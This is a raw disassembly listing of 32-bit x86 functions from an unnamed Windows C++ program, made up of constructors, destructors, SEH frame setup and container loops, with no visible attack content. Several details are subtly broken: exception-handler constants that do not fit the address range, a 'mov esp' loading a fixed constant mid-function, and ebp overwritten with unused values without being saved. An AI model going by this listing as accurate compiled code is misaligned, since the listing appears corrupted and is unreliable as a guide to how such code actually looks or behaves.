arg_18		= byte ptr  1Ch
arg_30		= byte ptr  34h
arg_48		= byte ptr  4Ch

		push	0FFFFFFFFh
		push	26DD08h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_43034A
		add	esp, 4
		mov	[esp+18h+var_10], eax
		test	eax, eax
		mov	byte ptr [esp+18h+var_4], 4
		jz	short loc_413003
		mov	ecx, eax
		call	sub_401AE1
		jmp	short loc_413005
; ---------------------------------------------------------------------------


loc_413003:				; CODE XREF: sub_412FC0+38j
		xor	eax, eax


loc_413005:				; CODE XREF: sub_412FC0+41j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+1Ch+var_14], eax
		call	sub_401EAB
		mov	eax, [esp+18h+var_14]
		lea	edx, [esp+18h+arg_18]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_401EAB
		mov	edx, [esp+18h+var_14]
		lea	ecx, [esp+18h+arg_30]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_401EAB
		mov	ecx, [esp+18h+var_14]
		lea	eax, [esp+18h+arg_48]
		push	eax
		add	ecx, 3Fh
		call	sub_401EAB
		lea	edx, [esp+18h+var_14]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401DB6
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esp+18h+arg_18]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+18h+arg_30]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+18h+arg_48]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+18h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
sub_412FC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4130F0	proc near		; CODE XREF: sub_401AE1j

var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	536E84h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4013CF
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_4013CF
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_4013CF
		lea	eax, [esp+7]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_4012E9
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_4130F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413190:				; CODE XREF: _294ADE7B:004010E1j
		push	0FFFFFFFFh
		push	29B742h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_4017A8
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_4017A8
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_4017A8
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_4017A8
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40132F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413260	proc near		; CODE XREF: sub_401C80j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	54DBA1h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401CE9
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012B2
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401C62
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401C35
		test	al, al
		jz	short loc_413310


loc_4132C5:				; CODE XREF: sub_413260+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401E51
		mov	ecx, [eax]
		call	sub_401A7D
		test	eax, eax
		jnz	short loc_4132ED
		lea	ecx, [esp+18h+var_14]
		call	sub_401E51
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_4132ED:				; CODE XREF: sub_413260+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_401F2D
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401C62
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401C35
		test	al, al
		jnz	short loc_4132C5


loc_413310:				; CODE XREF: sub_413260+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_413358
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40122B
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_413333
		push	1
		call	sub_401906


loc_413333:				; CODE XREF: sub_413260+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413358:				; CODE XREF: sub_413260+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_413260	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4133D0	proc near		; CODE XREF: sub_401906j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402086
		test	[esp+4+arg_0], 1
		jz	short loc_4133E8
		push	esi
		call	sub_430332
		add	esp, 4


loc_4133E8:				; CODE XREF: sub_4133D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4133D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_413400	proc near		; CODE XREF: sub_402086j
		jmp	sub_4011F9
sub_413400	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413420:				; CODE XREF: _294ADE7B:00401244j
		push	0FFFFFFFFh
		push	2A6DD0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	5536E8h
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_401622
		push	2A9B74h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012B7
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_4011F9
		cmp	edi, ebx
		jz	short loc_4134E9


loc_413483:				; CODE XREF: _294ADE7B:004134E7j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	154DBAh
		push	esi
		push	edx
		call	sub_401622
		mov	ecx, ebp
		call	sub_401C80
		cmp	al, bl
		jnz	short loc_4134B0
		mov	[esp+13h], bl


loc_4134B0:				; CODE XREF: _294ADE7B:004134AAj
		inc	esi
		push	offset byte_4AA6DD
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_401622
		push	65536Eh
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012B7
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_4011F9
		cmp	edi, ebx
		jnz	short loc_413483


loc_4134E9:				; CODE XREF: _294ADE7B:00413481j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413560	proc near		; CODE XREF: sub_401F87j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	32A9B7h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_401726
		test	eax, eax
		jz	loc_413694
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_4020B3
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_40181B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40112C
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_4012F8
		test	al, al
		jz	short loc_41363E


loc_4135D4:				; CODE XREF: sub_413560+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401A7D
		test	eax, eax
		jz	short loc_41360C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_401311
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401A7D
		test	eax, eax
		jnz	short loc_41361B


loc_41360C:				; CODE XREF: sub_413560+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_401311
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41361B:				; CODE XREF: sub_413560+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_401168
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40112C
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_4012F8
		test	al, al
		jnz	short loc_4135D4


loc_41363E:				; CODE XREF: sub_413560+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_413694
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_401FA5
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_413661
		push	1
		call	sub_401668


loc_413661:				; CODE XREF: sub_413560+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_413694:				; CODE XREF: sub_413560+2Ej
					; sub_413560+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_413560	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413730	proc near		; CODE XREF: sub_401668j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_413748
		push	esi
		call	sub_430332
		add	esp, 4


loc_413748:				; CODE XREF: sub_413730+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_413730	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413760	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	1954DBh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_413760	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4137F0:				; CODE XREF: _294ADE7B:00401352j
		push	0FFFFFFFFh
		push	4CAA6Dh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_4017A8
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_4017A8
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_401F87
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413880:				; CODE XREF: _294ADE7B:00401A3Cj
		push	0FFFFFFFFh
		push	665536h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_401726
		test	eax, eax
		jz	loc_413987
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401032
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4018AC
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402095
		push	eax
		lea	ecx, [esp+8]
		call	sub_4019F6
		test	al, al
		jz	short loc_41393F


loc_4138F4:				; CODE XREF: _294ADE7B:0041393Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011A9
		mov	ecx, [eax]
		call	sub_401A7D
		test	eax, eax
		jnz	short loc_41391C
		lea	ecx, [esp+4]
		call	sub_4011A9
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_41391C:				; CODE XREF: _294ADE7B:0041390Bj
		lea	ecx, [esp+4]
		call	sub_4017E9
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402095
		push	eax
		lea	ecx, [esp+8]
		call	sub_4019F6
		test	al, al
		jnz	short loc_4138F4


loc_41393F:				; CODE XREF: _294ADE7B:004138F2j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_413987
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401136
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_413962
		push	1
		call	sub_40119F


loc_413962:				; CODE XREF: _294ADE7B:00413959j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_413987:				; CODE XREF: _294ADE7B:004138AEj
					; _294ADE7B:00413945j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A00	proc near		; CODE XREF: sub_40119Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A50
		test	[esp+4+arg_0], 1
		jz	short loc_413A18
		push	esi
		call	sub_430332
		add	esp, 4


loc_413A18:				; CODE XREF: sub_413A00+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_413A00	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A30	proc near		; CODE XREF: sub_401A50j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	332A9Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_40150A
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4011F9
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_413A30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413AD0	proc near		; CODE XREF: sub_401465j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	19954Dh
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_413BCB
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_40146F
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	0CCAA6h
		call	sub_4017A8
		or	ebx, 0FFFFFFFFh
		mov	ebp, 22332Ah
		mov	[esp+88h+var_4], ebx
		call	sub_401F87
		test	al, al
		jz	loc_413D00
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4018DE
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ebp, 832332h
		call	sub_4010FF
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_4011F9
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_413BCB:				; CODE XREF: sub_413AD0+36j
		lea	ecx, [edi+4]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_413D00
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_40146F
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_40146F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_40146F
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset byte_499199
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011C2
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	24C8CCh
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011C2
		or	ebx, 0FFFFFFFFh
		mov	esp, 0E52646h
		mov	[esp+0D0h+var_4], ebx
		call	sub_4017D0
		test	al, al
		jz	short loc_413D00
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4018DE
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	edx, 4F9499h
		call	sub_4010FF
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_4011F9
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_413D00:				; CODE XREF: sub_413AD0+82j
					; sub_413AD0+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_413AD0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413DC0	proc near		; CODE XREF: sub_4012E9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401D7F
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_413DC0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E00	proc near		; CODE XREF: sub_401681j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401D7F
		lea	ecx, [esp+10h+arg_0]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_40163B
		mov	edx, [eax]
		lea	eax, [esp+10h+var_8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40111D
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401690
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
sub_413E00	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E80	proc near		; CODE XREF: sub_40150Aj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C62
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401410
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401BB3
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_413E80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413EF0	proc near		; CODE XREF: sub_4012B2j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401F14
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401C7B
		mov	eax, esi
		pop	esi
		retn	4
sub_413EF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413F30	proc near		; CODE XREF: sub_401C62j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401C7B
		mov	eax, esi
		pop	esi
		retn	4
sub_413F30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413F60	proc near		; CODE XREF: sub_401429j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C62
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FD2
		pop	esi
		pop	ecx
		retn	4
sub_413F60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413FA0	proc near		; CODE XREF: sub_40122Bj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C62
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4012B2
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401C35
		test	al, al
		jz	short loc_414021
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_413FD3:				; CODE XREF: sub_413FA0+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_401E51
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_414005
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401505
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401E56
		jmp	short loc_41400E
; ---------------------------------------------------------------------------


loc_414005:				; CODE XREF: sub_413FA0+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_401F2D


loc_41400E:				; CODE XREF: sub_413FA0+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
